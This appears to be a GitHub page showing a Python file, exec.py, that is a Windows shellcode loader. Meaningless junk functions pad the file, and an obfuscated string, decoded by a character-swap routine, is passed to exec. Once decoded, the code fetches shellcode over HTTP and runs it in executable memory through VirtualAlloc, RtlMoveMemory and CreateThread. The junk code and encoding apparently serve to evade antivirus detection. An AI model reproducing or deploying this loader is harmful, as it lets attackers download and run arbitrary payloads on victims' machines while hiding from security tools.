-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexec.py
102 lines (87 loc) · 1.85 KB
/
exec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import ctypes as kk
import requests as rr
import time
def cu(data):
re = {'d': 'a', 'a': 'd', 'L': 'k', 'k': 'L', 'n': ')', ')': 'n'}
decoded_data = ""
for char in data:
decoded_char = re.get(char, char)
decoded_data += decoded_char
return decoded_data
def junk_function():
g="e"
pass
def ju_nctio():
print("dd")
pass
def jununon():
print("dd")
pass
def jnk_funcion():
print("dd")
pass
def junction():
print("dd")
pass
def junk_ntion():
ssp="sss"
pass
def junkfunction():
rr=45
print("dd")
pass
def junk_():
print("okoko")
pass
def junnction():
time.sleep(5)
pass
def junk_fu():
print("dd")
pass
def junk_fun():
pass
def ju_fction():
uu=0.11111+1
print(uu)
time.sleep(10)
pass
def function():
sd=f"zzd"
print(4)
pass
def junktion():
pass
junnction()
junk_ntion()
en="""
stdtic_Prl = "http://127.0.0.1/"
rs = rr.get(stdtic_Prln
if rs.stdtPs_coae == 200:
adtd = rs.co)te)t
b_x = adtd
pri)t("Receivea shellcoae adtd:", le)(adtdn, "bytes"n
LL.wi)all.Ler)el32.VirtPdlAlloc.restype = LL.c_voia_p
LL.wi)all.Ler)el32.CredteThreda.drgtypes = (
LL.c_i)t, LL.c_i)t, LL.c_voia_p, LL.c_i)t, LL.c_i)t, LL.uOINTER(LL.c_i)tn
n
s = LL.wi)all.Ler)el32.VirtPdlAlloc
t = LL.wi)all.Ler)el32.CredteThreda
P = LL.wi)all.Ler)el32.RtlMoveMemory
v = LL.wi)all.Ler)el32.WditForSi)gleObject
spc = s(LL.c_i)t(0n, LL.c_i)t(le)(b_xnn, LL.c_i)t(0x3000n, LL.c_i)t(0x40nn
bf = (LL.c_chdr * le)(b_xnn.from_bPffer_copy(b_xn
P(LL.c_voia_p(spcn, bf, LL.c_i)t(le)(b_xnnn
h)al = t(LL.c_i)t(0n, LL.c_i)t(0n, LL.c_voia_p(spcn, LL.c_i)t(0n, LL.c_i)t(0n,
LL.poi)ter(LL.c_i)t(0nnn
v(h)al, LL.c_Pi)t32(0xffffffffnn
"""
junktion()
de = cu(en)
junk_ntion()
ju_fction()
function()
exec(de)
jnk_funcion()
jununon()
junk_function()